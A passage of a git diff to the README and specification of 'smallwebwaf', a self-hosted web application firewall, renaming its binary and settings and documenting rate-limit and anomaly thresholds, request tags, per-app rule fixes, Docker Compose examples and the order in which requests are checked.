`SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. | +| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. | +| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one client in a minute, a size. | +| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one client in an hour, a size. | +| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. | +| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. | +| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the netblock around a client in a minute, a size. | +| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the netblock around a client in an hour, a size. | +| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. | +| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. | +| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. | +| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. | +| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one AS number in a minute, a size. | +| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one AS number in an hour, a size. | +| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. | +| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. | +| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the whole service in a minute, a size. | +| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the whole service in an hour, a size. | +| `SWW_WAF_ANOMALY_WATCHED_NETS` | empty | Named netblocks the `SWW_WAF_ANOMALY_WATCHED_NET_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. | +| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. | +| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. | +| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for a watched netblock in a minute, a size. | +| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for a watched netblock in an hour, a size. | [`docs/settings.md`](docs/settings.md) gives the values each setting takes in full, and the limits that are fixed rather than settings. @@ -338,14 +416,13 @@ full, and the limits that are fixed rather than settings. Each example is a complete `compose.yaml`. `smallwebwaf` is the tag `make docker` gives the image; on another host, use the name you pushed it under, by digest. Docker Compose puts the services on a private network of its -own, where each reaches the others by service name. Only "In front of gitea" -uses traefik. The other three publish `rproxy`'s port on the host, for trying it -out. +own, where each reaches the others by service name. Each example publishes +`rproxy`'s port on the host, for trying it out. ### Smallest setup -One app, `rproxy` in front of it, and `servewaf` with a volume for its state -files, every setting at its default. +One app, `rproxy` in front of it, and `waf` with a volume for its state files, +every setting at its default. ```yaml services: @@ -356,20 +433,20 @@ services: rproxy: image: smallwebwaf environment: - SWRP_WAF_BACKEND: http://servewaf:8080 - SWRP_UPSTREAM_URL: http://app:8081 + SWW_RPROXY_WAF_BACKEND: http://waf:8080 + SWW_RPROXY_UPSTREAM_URL: http://app:8081 ports: - "8080:8080" - servewaf: + waf: image: smallwebwaf environment: - SMALLWEBWAF_COMMAND: servewaf + SWW_COMMAND: waf volumes: - - servewaf-state:/var/lib/smallwebwaf + - waf-state:/var/lib/sww volumes: - servewaf-state: + waf-state: ``` ### Custom per-address limits @@ -392,128 +469,45 @@ services: rproxy: image: smallwebwaf environment: - SWRP_WAF_BACKEND: http://servewaf:8080 - SWRP_UPSTREAM_URL: http://app:8081 + SWW_RPROXY_WAF_BACKEND: http://waf:8080 + SWW_RPROXY_UPSTREAM_URL: http://app:8081 ports: - "8080:8080" - servewaf: + waf: image: smallwebwaf environment: - SMALLWEBWAF_COMMAND: servewaf + SWW_COMMAND: waf # Monitoring skips every check. - SWWAF_ALLOW_NETS: 192.0.2.10 + SWW_WAF_ALLOW_NETS: 192.0.2.10 # The office and the automation host are never rate limited. - SWWAF_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7 + SWW_WAF_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7 # A netblock that sends nothing wanted. - SWWAF_DENY_NETS: 198.51.100.128/25 + SWW_WAF_DENY_NETS: 198.51.100.128/25 # Tighter limits for everyone else: a small static site. - SWWAF_RATE_LIMIT_PER_MINUTE: "60" - SWWAF_RATE_LIMIT_PER_HOUR: "600" - SWWAF_RATE_LIMIT_PER_DAY: "3000" + SWW_WAF_RATE_LIMIT_PER_MINUTE: "60" + SWW_WAF_RATE_LIMIT_PER_HOUR: "600" + SWW_WAF_RATE_LIMIT_PER_DAY: "3000" # Hosting networks and one country get a share of those limits. - SWWAF_ASN_LIMIT_PERCENT: AS14061:50,AS16276:25 - SWWAF_COUNTRY_LIMIT_PERCENT: cn:25 + SWW_WAF_TAG_LIMIT_PERCENT: asn=14061:50,asn=16276:25,country=CN:25 # Paths only scanners ask for; one request bans the client. - SWWAF_TRAP_PATHS: /wp-login.php,/xmlrpc.php + SWW_WAF_TRAP_PATHS: /wp-login.php,/xmlrpc.php # Answer a refused client with 429 rather than 403. - SWWAF_BAN_RESPONSE: "429" - SWWAF_LIMIT_BAN_DURATION: 30m + SWW_WAF_BAN_RESPONSE: "429" + SWW_WAF_LIMIT_BAN_DURATION: 30m volumes: - - servewaf-state:/var/lib/smallwebwaf + - waf-state:/var/lib/sww volumes: - servewaf-state: + waf-state: ``` -### In front of gitea - -gitea behind traefik, set up for a code forge: - -- the upload limits raised, in size and in time; -- the response size limit raised, for clones over 1 GiB; -- the Actions runners exempt from counting; -- the default request and byte limits kept. - -`traefik` is the network traefik is on, made outside this file. - -```yaml -services: - gitea: - # gitea 1.27.3, 2026-08-29 - image: gitea/gitea@sha256:87a67ee09d3ae0d1df5fda5dcda3e2a1f9236a45b0a59025d6e00e46adc43bef - environment: - GITEA__server__ROOT_URL: https://git.example/ - # The host and the port of the SSH clone URLs gitea shows. - GITEA__server__SSH_DOMAIN: git.example - GITEA__server__SSH_PORT: "2222" - # gitea's TCP peer is rproxy, on the private network. - GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES: 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 - volumes: - - gitea-data:/data - networks: - - site - ports: - # SSH does not pass through smallwebwaf. - - "2222:22" - - rproxy: - image: smallwebwaf - environment: - SWRP_WAF_BACKEND: http://servewaf:8080 - SWRP_UPSTREAM_URL: http://gitea:3000 - # Pushes, LFS objects and image layers over 100 MiB, or slower - # than a minute, are cut off at the defaults. - SWRP_MAX_REQUEST_SIZE: 2G - SWRP_MAX_REQUEST_TIME_MS: "600000" - # A clone larger than 1 GiB is cut off at the default. - SWRP_MAX_RESPONSE_SIZE: 4G - networks: - - site - - traefik - labels: - traefik.enable: "true" - # rproxy is on two networks; traefik reaches it on this one. - traefik.docker.network: traefik - traefik.http.routers.git.rule: Host(`git.example`) - traefik.http.routers.git.entrypoints: websecure - traefik.http.routers.git.tls.certresolver: letsencrypt - traefik.http.services.git.loadbalancer.server.port: "8080" - - servewaf: - image: smallwebwaf - environment: - SMALLWEBWAF_COMMAND: servewaf - SWWAF_INSTANCE_NAME: fsn1/servewaf - # The Actions runners ask for work all day; never count them. - SWWAF_RATE_LIMIT_EXEMPT_NETS: 10.0.4.0/24 - # gitea never serves these; a request for one bans the client. - SWWAF_TRAP_PATHS: /wp-login.php,/xmlrpc.php,/wp-admin/ - volumes: - - servewaf-state:/var/lib/smallwebwaf - networks: - - site - -networks: - site: - traefik: - external: true - -volumes: - gitea-data: - servewaf-state: -``` - -`deploy/gitea` holds a complete setup of gitea, traefik included, as a Docker -Compose file. [`docs/gitea.md`](docs/gitea.md) explains it, and records what the -defaults do in front of gitea, request by request. - ### `rproxy` beside the app The app is built on the `smallwebwaf` image, with `rproxy` inside its container. `app/` holds the `Dockerfile` and `app.run` from "`rproxy` in the app's -container". `rproxy` answers `503` to every request while `servewaf` is down, -and `servewaf`: +container". `rproxy` answers `503` to every request while `waf` is down, and +`waf`: - observes before it enforces; - looks addresses up in a local database rather than GeoJS; @@ -526,46 +520,46 @@ services: # A Dockerfile built FROM the smallwebwaf image, with rproxy inside. build: ./app environment: - SWRP_WAF_BACKEND: http://servewaf:8080 - # Answer 503 rather than pass a request on while servewaf is down. - SWRP_DEFAULT_DISPOSITION: deny + SWW_RPROXY_WAF_BACKEND: http://waf:8080 + # Answer 503 rather than pass a request on while waf is down. + SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION: deny ports: - "8080:8080" - servewaf: + waf: image: smallwebwaf environment: - SMALLWEBWAF_COMMAND: servewaf - SWWAF_INSTANCE_NAME: fsn1/servewaf + SWW_COMMAND: waf + SWW_WAF_INSTANCE_NAME: host1/waf # Refuse nothing yet; log what enforce mode would have done. - SWWAF_MODE: observe + SWW_WAF_MODE: observe # Look addresses up in a local IPinfo Lite database, never GeoJS. - SWWAF_LOOKUP_SOURCE: file - SWWAF_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb + SWW_WAF_LOOKUP_SOURCE: file + SWW_WAF_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb # Alerts to an ntfy topic, with its token read from a file. - SWWAF_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf - SWWAF_ALERT_NTFY_TOKEN_FILE: /etc/smallwebwaf/tokens/ntfy - SWWAF_ALERT_EVENTS: ban,permanent_ban,waf_block,source_failure,file_error + SWW_WAF_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf + SWW_WAF_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy + SWW_WAF_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error volumes: - - servewaf-state:/var/lib/smallwebwaf + - waf-state:/var/lib/sww - /srv/ipinfo:/var/lib/ipinfo:ro - - /srv/smallwebwaf/tokens:/etc/smallwebwaf/tokens:ro + - /srv/sww/tokens:/etc/sww/tokens:ro volumes: - servewaf-state: + waf-state: ``` The database is mounted by its directory, not by file, so that a replaced -database is seen. A token file belongs to uid 65532, the `smallwebwaf` user, -with mode `0400`. This one holds an access token the ntfy server issued, which +database is seen. A token file belongs to uid 65532, the `sww` user, with mode +`0400`. This one holds an access token the ntfy server issued, which `ntfy token add ` prints there: ```sh -mkdir -p /srv/smallwebwaf/tokens +mkdir -p /srv/sww/tokens # is the access token that ntfy printed. -echo '' > /srv/smallwebwaf/tokens/ntfy -chown 65532:65532 /srv/smallwebwaf/tokens/ntfy -chmod 0400 /srv/smallwebwaf/tokens/ntfy +echo '' > /srv/sww/tokens/ntfy +chown 65532:65532 /srv/sww/tokens/ntfy +chmod 0400 /srv/sww/tokens/ntfy ``` ## Design @@ -574,54 +568,66 @@ How it works inside. [`SPEC.md`](SPEC.md) gives every rule in full, and why. ### What happens to a request -A request goes through these steps, in this order. Once `servewaf` refuses a -request, the steps after that are skipped, apart from the report, and nothing of -the request reaches the app. +A request goes through these steps, in this order. Once `waf` refuses a request, +the steps after that are skipped, apart from the report, and nothing of the +request reaches the app. `rproxy` takes the first two: -1. The health check, `GET /_smallwebwaf/healthz`, is answered at once. +1. The health check, `GET /_sww/healthz`, is answered at once. 2. The visitor's address is worked out from `X-Forwarded-For`, believed only - from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `servewaf` the request as the + from `SWW_RPROXY_TRUSTED_PROXIES`. `rproxy` sends `waf` the request as the visitor sent it, with the first 64 KiB of its body. -`servewaf` takes the checks: +`waf` takes the checks: -3. The static lists, `SWWAF_ALLOW_NETS` and `SWWAF_DENY_NETS`. -4. The bans. -5. The lookup of the client's AS number and country. -6. The country lists. -7. The reputation sources. -8. The client's limit percentage, from its AS number, its country or a - reputation hit. -9. The rate limits. -10. The trap paths. -11. The rule files. -12. The header limits, and then the Core Rule Set. -13. A path under `/_smallwebwaf/` is answered `404`, so that the app never sees - that prefix. +3. The header limits, then the tag lists. A client in `SWW_WAF_ALLOW_NETS` skips + the header limits. +4. The static lists, `SWW_WAF_ALLOW_NETS` and `SWW_WAF_DENY_NETS`. +5. The bans. +6. The lookup of the client's AS number and country. +7. The country list. +8. The reputation sources. +9. The tag refusals of `SWW_WAF_TAG_DENY`. +10. The client's limit percentage, from its tags, its AS number, its country or + a reputation hit. +11. The rate limits. +12. The trap paths. +13. The rule files. +14. The Core Rule Set. +15. The tag refusals again, so that `exploitsignature` can refuse too. +16. A path under `/_sww/` is answered `404`, so that the app never sees that + prefix. -`rproxy` takes the rest, with `servewaf` counting at the end: +Steps 12 to 14 only read the request. While the lookup waits for GeoJS, they run +at the same time as steps 6 to 11. The first of the two sides to refuse the +request ends the checks, and `waf` answers at once. Steps 12 to 14 have 500 ms +together. -14. The request is passed to the app, streaming. -15. After the answer, `rproxy` sends `servewaf` a report with the status and the - bytes each way. For an allowed request, `servewaf` counts the bytes toward - the byte limits and adds the request to the client's history. +`rproxy` takes the rest, with `waf` counting at the end: -A refused visitor is answered with `SWWAF_BAN_RESPONSE`. A `block` rule or a +17. The request is passed to the app, streaming. +18. After the answer, `rproxy` sends `waf` a report with the status and the body + bytes each way. For an allowed request, `waf` counts the bytes + `SWW_WAF_BYTES_COUNTED` names toward the byte limits, bans the client if + they take it past one, and adds the request to the client's history. + +A refused visitor is answered with `SWW_WAF_BAN_RESPONSE`. A `block` rule or a Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has -false positives; such refusals count toward `SWWAF_ERROR_BURST_THRESHOLD` -instead. A request over the header limits of step 12 is answered `431`, and bans -nobody either. `rproxy` itself answers `405` to a method it does not pass on, -and the status for a size or time limit, such as `413` for a body too large. +false positives; such refusals count toward `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` +instead. A request over the header limits of step 3 is answered `414` for a +request line over 8 KiB and `431` otherwise. It bans nobody either. Nor does a +request that steps 12 to 14 have not finished within 500 ms, which is answered +`503`. `rproxy` itself answers `405` to a method it does not pass on, and the +status for a size or time limit, such as `413` for a body too large. ### Clients and bans - A client is one IPv4 address or one IPv6 netblock of - `SWWAF_IPV6_GROUP_PREFIX`, since one abuser usually controls a whole /64. + `SWW_WAF_IPV6_GROUP_PREFIX`, since one abuser usually controls a whole /64. - Each limit is counted over a sliding window with a few integers per client. The table of clients and the table of bans each have a bound - (`SWWAF_MAX_TRACKED_CLIENTS`, `SWWAF_MAX_BANS`), so memory is bounded too. + (`SWW_WAF_MAX_TRACKED_CLIENTS`, `SWW_WAF_MAX_BANS`), so memory is bounded too. - A ban refuses every request from its netblock until it ends. Requests refused under a ban count toward no limit. A permanent ban ends only when an admin lifts it. @@ -630,29 +636,94 @@ and the status for a size or time limit, such as `413` for a body too large. bans. An admin adds, keeps or lifts a ban by editing `bans.json` or through the ban endpoints (see [`docs/admin-endpoints.md`](docs/admin-endpoints.md)). +### Request tags + +Each request gets tags from what `waf` knows of its client, written in the +`tags` field of its log line: + +- `asn=` and `country=`, from the lookup; +- one tag per list of `SWW_WAF_TAG_LISTS` that holds the client, such as + `torexit` or `vpn=mullvad`; +- `dnsbl=` and `abuseipdb`, when that reputation source lists the client; +- `exploitsignature`, when a rule file or the Core Rule Set matched the request; +- `asn=` and `prefix=`, from a routewatch instance, while + `SWW_WAF_ROUTEWATCH_URL` is set. + +`SWW_WAF_TAG_DENY` refuses requests by tag, and `SWW_WAF_TAG_LIMIT_PERCENT` +lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md). + ### Attack detection - The Core Rule Set reads the method, the URL with its query string, and the - headers of every request, and no body unless `SWWAF_WAF_BODY_LIMIT` is set. In - front of a code forge, bodies carry what people write and publish, which the - rules take for attacks. -- `smallwebwaf` changes the Core Rule Set in six ways so that it lets ordinary + headers of every request, and no body unless + `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. In front of a code forge, + bodies carry what people write and publish, which the rules take for attacks. +- `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary requests to a code forge through, such as git over HTTP and sign-in through - Git Credential Manager. No setting undoes them; "Attack detection" in + Git Credential Manager. No setting undoes the changes; "Attack detection" in [`SPEC.md`](SPEC.md) lists them. +- Each supported app also has its own fixes, which let its ordinary requests + through. Its recorded ordinary requests pass the Core Rule Set at the default + settings. The supported apps, by their names in `SWW_WAF_APPS`, are: + - `gitea`, whose fixes let its container registry, searches, file names, + branch names and repository names through; + - `forgejo`, a fork of gitea, which gets gitea's fixes too, and whose own + fixes let its searches through; + - `wordpress`, whose fixes let through its searches, its names, its file + names and a post saved from the block editor; + - `drupal`, whose fixes let through the page to return to, its searches and + its names; + - `mediawiki`, whose fixes let through its searches, its page titles, its + names and its wikitext; + - `mastodon`, whose fixes let through its searches, its names, its email + addresses, its posts and deliveries from other servers; + - `vaultwarden`, whose fixes let through its names, its password hints, its + email addresses and its encrypted file names; + - `nextcloud`, whose fixes let through its sync client, its WebDAV methods, + its searches, its file names, its account names, its comments and its + documents; + - `ghost`, whose fixes let through the text its admin and members type, its + analytics, its code injection, ActivityPub and a post saved from its + editor, HTML included. +- A random password, as a password manager makes one, gets through these forms: + - signing in, signing up, and changing or resetting a password, on + WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost; + - moving or deleting the account, on Mastodon; + - deleting the account, on gitea; + - the admin page, on Vaultwarden, whose apps send a hash of the master + password, not the password itself. +- `SWW_WAF_APPS` names the apps each hostname serves. A hostname gets only its + own apps' fixes. A hostname `SWW_WAF_APPS` does not list gets none. Unset, + every app's fixes apply to every hostname. +- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's + own fields or paths. - Rule files are plain text, one rule to a line, edited by hand and read again - while `servewaf` runs. The image ships one file of probes no real visitor - sends (see [`docs/rules.md`](docs/rules.md)). + while `waf` runs. The image ships one file of probes no real visitor sends + (see [`docs/rules.md`](docs/rules.md)). -### State files +### State and cache files -`servewaf` keeps everything in memory, and the five JSON files in -`SWWAF_STATE_DIR` hold a copy: `bans.json`, `clients.json`, `lookups.json`, -`reputation.json` and `alerts.json`. Each is written whole, to a temporary file -renamed over the real one, so a crash leaves a complete file. `servewaf` notices -a file edited on disk and takes the edit in; an edit that does not parse is set -aside as `.bad`, and never stops the running process (see -[`docs/state-files.md`](docs/state-files.md)). +`waf` keeps everything in memory, and JSON files hold a copy: + +- The state files, in `SWW_WAF_STATE_DIR`, hold what cannot be fetched again: + - `bans.json`; + - `clients.json`; + - `abuseipdb-checks-spent.json`; + - `alerts.json`. +- The cache files, in `SWW_WAF_CACHE_DIR`, hold answers from outside services: + - `lookups.json`, from GeoJS; + - `lists.json`, the lists fetched by URL; + - `dnsbl.json`, from the DNS blocklists; + - `abuseipdb-scores.json`, from AbuseIPDB; + - `routewatch.json`, from routewatch. + +Back up the state directory. The cache directory can be left out of backups: a +lost cache file starts empty and fills again. + +Each file is written whole, to a temporary file renamed over the real one, so a +crash leaves a complete file. `waf` notices a file edited on disk and takes the +edit in. An edit that does not parse is set aside as `.bad`, and never +stops the running process (see [`docs/state-files.md`](docs/state-files.md)). ### The image and its processes @@ -660,36 +731,36 @@ aside as `.bad`, and never stops the running process (see come from Ubuntu's archive, and nixpkgs is fixed at one release. An app's `Dockerfile` installs a package with `nix-env -iA nixpkgs.` and gets the same package each time it is built (see [`docs/image.md`](docs/image.md)). -- runit, a service supervisor, runs `smallwebwaf` as the `smallwebwaf` user (uid - and gid 65532) and starts it again when it exits. The `run` script of - `servewaf` gives the state directory to the `smallwebwaf` user at each start, - so a volume needs no change of owner. -- `rproxy` and `servewaf` use no token between them. `servewaf`'s own endpoints, - under `/_smallwebwaf/`, are for your admin tools and your metrics collector, - at its own address on the private network; nothing routes the internet there. +- runit, a service supervisor, runs `sww` as the `sww` user (uid and gid 65532) + and starts it again when it exits. The `run` script of `waf` gives the state + directory to the `sww` user at each start, so a volume needs no change of + owner. It makes the cache directory for that user too. +- `rproxy` and `waf` use no token between them. `waf`'s own endpoints, under + `/_sww/`, are for your admin tools and your metrics collector, at its own + address on the private network; nothing routes the internet there. - `docker stop` gives requests in progress five seconds to finish. With `rproxy` in the app's container, the app must keep answering for five seconds after `SIGTERM` for that to help them. - Only faults found at start stop a process: an invalid setting, a rule file or state file that does not parse, a lookup database that cannot be read, or an address it cannot listen on. Once running, a failing lookup service, - reputation source or alert destination never takes `servewaf` down. + reputation source or alert destination never takes `waf` down. ### Packages -- `cmd/smallwebwaf`: the binary, which only calls `internal/smallwebwaf`. -- `internal/smallwebwaf`: the process, as the command it is given, and the - health check. +- `cmd/sww`: the binary, which only calls `internal/sww`. +- `internal/sww`: the process, as the command it is given, and the health check. - `internal/config`: reads the settings, the one place they are read. - `internal/rproxy`: the reverse proxy in front of one app. -- `internal/servewaf`: `servewaf`'s server, which runs the checks and answers - its own endpoints. -- `internal/ratelimit`, `internal/bans`, `internal/rules`, `internal/waf`, - `internal/lookup`, `internal/reputation`, `internal/anomaly` and +- `internal/waf`: `waf`'s server, which runs the checks and answers its own + endpoints. +- `internal/ratelimit`, `internal/bans`, `internal/rules`, + `internal/coreruleset`, `internal/geojs`, `internal/lookup`, + `internal/reputation`, `internal/routewatch`, `internal/anomaly` and `internal/alerts`: one check or source each. - `internal/state`, `internal/requestlog`, `internal/remotelog` and - `internal/metrics`: the state files, the log lines, the syslog sender and the - metrics. + `internal/metrics`: the state and cache files, the log lines, the syslog + sender and the metrics. ## Rationale @@ -723,66 +794,71 @@ on the host. - `script/bootstrap`: installs on the host what the other scripts need, with `make bootstrap`: - `make`, `git` and `curl`; - - Go, for `gofmt`; + - Go, for `gofmt` and to build `golines`; + - `golines`, at a pinned version, with `go install`; - node, yarn and prettier. - `script/setup`: readies a fresh clone: `script/bootstrap`, then `script/install-precommit`. `make setup`. - `script/projectname`: prints `smallwebwaf`, which the other scripts tag their images with. - `script/test`: checks that `go.mod` and `go.sum` are tidy, then runs the - tests, as the `test` phase of the `Dockerfile`. `make test`. + tests, as the `test` phase of the `Dockerfile`, in two passes. `make test`. + - The first runs every package's tests with the race detector. Of the Core + Rule Set's tests, it runs only those written to check concurrent + inspection, whose names start with `TestConcurrent`. + - The second runs the Core Rule Set's other tests without the race detector, + the recorded requests among them. - `script/tidy`: writes `go.mod` and `go.sum` as `go mod tidy` writes them, in the `tidy` stage of the `Dockerfile`. `make tidy`. - `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`. `make lint`. -- `script/fmt`: formats the Go code with `gofmt` and the Markdown with prettier. - `make fmt`. +- `script/fmt`: formats the Go code with `gofmt` and then `golines -m 77`, and + the Markdown with prettier. `make fmt`. + - `golines` wraps code at 77 columns but leaves comments and strings alone. + Wrap those by hand. + - The linter fails only lines longer than 88 columns. - `script/fmt-check`: checks the formatting and changes nothing. `make fmt-check`. - `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`. `make check`. - `script/docker`: builds the image, whose build runs the tests and the linter first. `make docker`. +- `script/publish`: runs `script/docker`, whose build happens on the Docker host + named by `DOCKER_HOST`, then pushes the image to `PUBLISH_IMAGE`, such as + `registry.example.com/smallwebwaf`. Both variables are required. It refuses a + working tree with uncommitted changes. `make publish`. It pushes four tags: + - the UTC date as `YYYY-MM-DD`; + - the short commit hash; + - the branch name; + - `latest`. - `script/cibuild`: what CI runs: `script/bootstrap`, `script/check`, then the image build. - `script/precommit`: run by the git pre-commit hook; runs `script/check`. - `script/install-precommit`: installs that hook. `make hooks`. -- `script/build`: builds `bin/smallwebwaf` with the Go on your host. - `make build`. -- `script/run`: builds `bin/smallwebwaf` and runs `servewaf` and `rproxy` on the - host, with the settings in your environment. `make run`. Unless your settings - say otherwise: +- `script/build`: builds `bin/sww` with the Go on your host. `make build`. +- `script/run`: builds `bin/sww` and runs `waf` and `rproxy` on the host, with + the settings in your environment. `make run`. Unless your settings say + otherwise: - `rproxy` listens on port 8080, in front of an app at `http://127.0.0.1:8081`; - - `servewaf` listens on port 8090; + - `waf` listens on port 8090; - its state files go in `bin/state`; + - its cache files go in `bin/cache`; - its rule files are those of `share/rules.d`. - `script/example-app`: builds the image and the example app (`deploy/example-app`) on it, runs the app with `rproxy` in its container and - `servewaf` in another, and checks them. Then it removes the containers, the + `waf` in another, and checks them. Then it removes the containers, the network, the volumes and the images. Needs network access. `make example-app`. It checks: - the health checks; - a request passed to the app; - a ban for a broken limit, and a ban for a probe made permanent; - - that only `servewaf`'s container changes the state directory's owner; - - with `servewaf` stopped, the app still answering through `rproxy`; - - with `servewaf` started again, bans applying again; + - that only `waf`'s container changes the state directory's owner; + - with `waf` stopped, the app still answering through `rproxy`; + - with `waf` started again, bans applying again; - orderly stops with `sv stop` and `docker stop`; - bans surviving a new container on the same volume; - a setting given as a file. -- `script/gitea-requests`: builds the image and runs gitea 1.27.3 behind - `rproxy` and `servewaf`, three containers on one network. Every setting is at - its default, but for those that join the containers and - `SWWAF_LOG_REQUEST_HEADERS`, which adds the header that labels each request. - It sends through them a sample of gitea's ordinary use and the requests the - Core Rule Set is known to refuse, and prints what `servewaf` did with each. - Needs network access, and a docker daemon that pushes to a registry on - `localhost` over plain HTTP. `make gitea-requests`. -- `script/gitea-setup`: builds the image, brings up the setup in `deploy/gitea`, - and checks it as [`docs/gitea.md`](docs/gitea.md) describes. Then it removes - the containers, the network, the volumes and the image it built. Needs network - access. `make gitea-setup`. ## TODO @@ -795,19 +871,18 @@ on the host. - [`EVALUATION.md`](EVALUATION.md): what already exists, what each tool covers and misses, and why none was adopted. - [`REPO_POLICIES.md`](REPO_POLICIES.md): the policies this repository follows. +- [`AGENTS.md`](AGENTS.md): the rules for agents working on this repository. - [`docs/settings.md`](docs/settings.md): every setting and the values it takes. - [`docs/rules.md`](docs/rules.md): the rule file format and the default file. - [`docs/admin-endpoints.md`](docs/admin-endpoints.md): the endpoints under - `/_smallwebwaf/`, with examples. + `/_sww/`, with examples. - [`docs/request-log.md`](docs/request-log.md): the request log's fields. - [`docs/alerts.md`](docs/alerts.md): the alert events and what each destination gets. - [`docs/metrics.md`](docs/metrics.md): the metrics. -- [`docs/state-files.md`](docs/state-files.md): the state files and what each - holds. +- [`docs/state-files.md`](docs/state-files.md): the state and cache files and + what each holds. - [`docs/image.md`](docs/image.md): what the image holds and how it is pinned. -- [`docs/gitea.md`](docs/gitea.md): `smallwebwaf` in front of gitea: the setup - in `deploy/gitea`, and what the defaults do there. ## License diff --git a/SPEC.md b/SPEC.md index 875ba19..ca67a0a 100644 --- a/SPEC.md +++ b/SPEC.md @@ -1,10 +1,10 @@ # smallwebwaf specification `smallwebwaf` is a web application firewall for self-hosted apps. It is one -binary, and two of its commands do the work: +binary, `sww`, and two of its commands do the work: -- `smallwebwaf rproxy` is a reverse proxy between traefik and one app. -- `smallwebwaf servewaf` decides what happens to each request, for many sites. +- `sww rproxy` is a reverse proxy between a TLS-terminating proxy and one app. +- `sww waf` decides what happens to each request, for many sites. This document says what it must do and why, each requirement once. Everything in it is built, except what the last section lists. `README.md` says how to run it. @@ -12,35 +12,41 @@ it is built, except what the last section lists. `README.md` says how to run it. under `docs/` give the settings, the formats and the lists. This document links to them. +The whole application stores, logs and handles every time in UTC, whatever `TZ` +or the host's time zone says. It keeps every day as a date written `YYYY-MM-DD`, +never as a time. + ## Purpose - It protects self-hosted apps on the open internet from scrapers, scanners and other abusers. It does so from an app's first request. `rproxy` requires only - the address of `servewaf`. In a container of its own it also needs the app's + the address of `waf`. In a container of its own it also needs the app's address. Every other setting has a default chosen for a service facing the internet in 2026. A setting that needs an alert destination, an account key or a token stays off until the operator supplies it. - It keeps a site answering while the part that decides is down, slow or - restarting (see "Without an answer from `servewaf`"). -- It limits each client's requests and bytes per minute, hour and day. It bounds - the size and duration of every request and answer. It detects attacks. + restarting (see "Without an answer from `waf`"). +- It limits each client's requests and body bytes per minute, hour and day. It + bounds the size and duration of every request and answer. It detects attacks. - It bans abusers: briefly at first, for seven days on a clear sign of attack, and permanently when they keep at it. - It looks up each client's AS number and country. It can refuse whole countries and netblocks, lower its limits for listed AS numbers and 